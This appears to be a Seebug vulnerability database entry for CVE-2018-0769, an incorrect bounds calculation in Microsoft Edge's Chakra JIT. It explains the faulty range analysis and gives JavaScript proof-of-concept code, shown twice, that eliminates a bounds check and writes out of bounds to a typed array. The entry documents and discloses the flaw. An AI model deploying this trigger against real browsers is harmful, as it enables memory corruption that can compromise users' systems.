Lucene search

RootSSV:97091
HistoryJan 22, 2018 - 12:00 a.m.

# Microsoft Edge: Chakra: JIT: Incorrect bounds calculation(CVE-2018-0769)

2018-01-2200:00:00
Root
www.seebug.org
19

EPSS

0.951

Percentile

99.3%

// Track bounds for add or sub with a constant. For instance, consider (b = a + 2). The value of âbâ should track
// that it is equal to (the value of âaâ) + 2. That part has been done above. Similarly, the value of âaâ should
// also track that it is equal to (the value of âbâ) - 2.

This means âjâ will be guaranteed to be in the range of INT_MIN to 15(INT_MAX - 0x7ffffff0) at (a) in the following code. In detail, it uses âBailOutOnOverflowâ, which makes the JITed code bailout when an integer overflow occurs, to ensure the range.

``````function opt(j) {
let k = j + 0x7ffffff0;
// (a)
}

``````

But if integer overflows continuously occur in the JITed code or itâs known that âkâ doesnât fit in an int at compile time, Chakra considers âkâ to be a float.

For example, in the following code where âjâ is always greater than 100, âkâ is considered a float. So it doesnât use âBailOutOnOverflowâ for the add operation.

``````function opt(j) {
if (j &lt;= 100)
return;

let k = j + 0x7ffffff0;
}

``````

Now, letâs take a look at the PoC.

``````function opt() {
let j = 0;
for (let i = 0; i &lt; 2; i++) {
// (a)
j += 0x100000;
// (b)
let k = j + 0x7ffffff0; // (c)
}
}
``````

Note that all loops are analyzed twice in the JIT optimization process.

Hereâs what happens in the analyses.

In the first analysis:
At (b), Chakra considers âjâ to be in the range of INT_MIN to INT_MAX.
At ÂŠ, INT_MAX + 0x7ffffff0 overflows but INT_MIN + 0x7ffffff0 doesnât, so it assumes âkâ may fit in an int and that âBailOutOnOverflowâ will be used to ensure âjâ to be in the range of INT_MIN to 15.

In the second analysis:
At (a), Chakra considers âjâ to be in the range of 0 to 15.
At (b), Chakra considers âjâ to be in the range of 0x100000 to 0x10000f.
At ÂŠ, in both cases of 0x100000 + 0x7ffffff0 and 0x10000f + 0x7ffffff0, an integer overflow occurs. So âkâ is considered a float.

In the first analysis, it made two assumptions: âkâ will be an int, and therefore âBailOutOnOverflowâ will be used. But actually, both assumptions are wrong. âkâ will be a float. And âBailOutOnOverflowâ will never be used.

However itâs already guaranteed âjâ to be in the range of INT_MIN to 15 at (a) based on the wrong assumptions. We can abuse this.

PoC demonstrating OOB write:

``````function opt(arr) {
if (arr.length &lt;= 15)
return;

let j = 0;
for (let i = 0; i &lt; 2; i++) {
arr[j] = 0x1234;  // (a)
j += 0x100000;
j + 0x7ffffff0;
}
}

function main() {
for (let i = 0; i &lt; 0x10000; i++) {
opt(new Uint32Array(100));
}
}

main();
``````

At (a), Chakra considers âjâ to be always in the range of INT_MIN to 15, the length of âarrâ has been already guaranteed to be upper than 15, so it eliminates the bounds check.

``````
function opt(arr) {
if (arr.length <= 15)
return;

let j = 0;
for (let i = 0; i < 2; i++) {
arr[j] = 0x1234;  // (a)
j += 0x100000;
j + 0x7ffffff0;
}
}

function main() {
for (let i = 0; i < 0x10000; i++) {
opt(new Uint32Array(100));
}
}

main();
``````

EPSS

0.951

Percentile

99.3%